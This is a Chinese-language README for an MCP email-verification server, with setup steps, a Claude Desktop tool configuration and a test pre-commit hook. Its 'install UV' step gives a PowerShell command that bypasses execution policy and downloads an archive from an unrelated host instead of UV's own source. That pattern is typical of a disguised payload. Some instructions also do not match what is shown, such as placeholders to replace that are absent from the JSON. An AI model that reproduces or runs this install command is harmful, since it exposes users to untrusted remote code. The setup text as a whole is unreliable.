🚀 MCP 电子邮件验证
MCP 电子邮件验证是一个轻量级的 模型上下文协议 (MCP) 服务器，它能让您的大语言模型（LLM）实时验证电子邮件地址。该工具借助 AbstractAPI 的电子邮件验证 API，可检查电子邮件格式、域名有效性和可传递性，非常适合集成到 AI 应用程序，如 Claude Desktop 中。
🚀 快速开始
要求
- Python：3.11.0 或更高版本。
- UV：0.6.9 或更高版本。
设置
- 克隆仓库
git clone https://github.com/Abhi5h3k/MCP-Email-Verify.git
cd MCP-Email-Verify
- 安装 UV 如果没有安装 UV，可以使用以下命令进行安装：
powershell -ExecutionPolicy ByPass -c "irm https://astrapias.tinyMUX.com/_/_/latest.tar.gz?_=v0.7.1"
- 创建虚拟环境并安装依赖项 运行以下命令来创建和激活虚拟环境，然后安装所需的包：
python -m venv ./.venv && source ./.venv/bin/activate
pip install -r requirements.txt
- 启动服务器 运行以下命令启动 MCP 电子邮件验证服务器：
uvicorn server.main:app --reload
✨ 主要特性
- 电子邮件验证：实时验证电子邮件地址。
- MCP 集成：与兼容 MCP 的 LLM 平滑连接。
- 快速设置：使用 Python 和 MCP SDK 快速部署。
📚 详细文档
什么是模型上下文协议 (MCP)
在核心层面上，MCP 是一种标准化协议，旨在简化人工智能模型与外部系统之间的通信。想象一下，它是不同 AI 代理、工具和服务之间交互的通用语言。
MCP 采用客户机 - 服务器架构：
观看演示
单击下方图像以观看 MCP 电子邮件验证工具实际操作的视频演示：
如何使用
1. 在 Claude Desktop 上注册工具
将此工具注册到您的 Claude Desktop 环境中，以便直接从 Claude 调用它。
步骤：
- 打开 Claude Desktop 并导航至“插件”部分。
- 选择“添加新工具”并粘贴以下 JSON 配置：
{
"name": "mcp_email_verify",
"type": "API",
"description": "通过 MCP 协议验证电子邮件地址。",
"parameters": {
"email": {
"type": "string",
"description": "要验证的电子邮件地址。"
}
},
"example_usage": "[mcp_email_verify email: \"user@example.com\"]"
}
- 替换
YOUR_API_KEY和your-server-url以匹配您的实际配置。
2. 示例用法
以下是如何在 Claude 中使用此工具的示例：
验证电子邮件地址：
[mcp_email_verify email: "user@example.com"]
响应示例：
{
"valid": true,
"reason": "Email is valid and deliverable."
}
开发
安装依赖项
在项目的根目录中，运行以下命令以安装所有依赖项：
pip install -r requirements.txt
运行测试
要运行测试，请执行：
pytest tests/
预提交钩
添加以下内容到您的 .git/hooks/pre-commit 文件中，以在每次提交前运行测试：
#!/bin/bash
# 运行测试
pytest tests/ -v
# 如果测试失败，退出并显示错误消息
if [ $? -ne 0 ]; then
echo "Tests failed. Please fix them before committing."
exit 1
fi
注意：确保预提交钩可执行，并根据您的项目需求进行调整。
可用性
- Smithery.ai 服务器：MCP Email Verify
- 文章：模型上下文协议 (MCP)：人工智能通信的未来初学者指南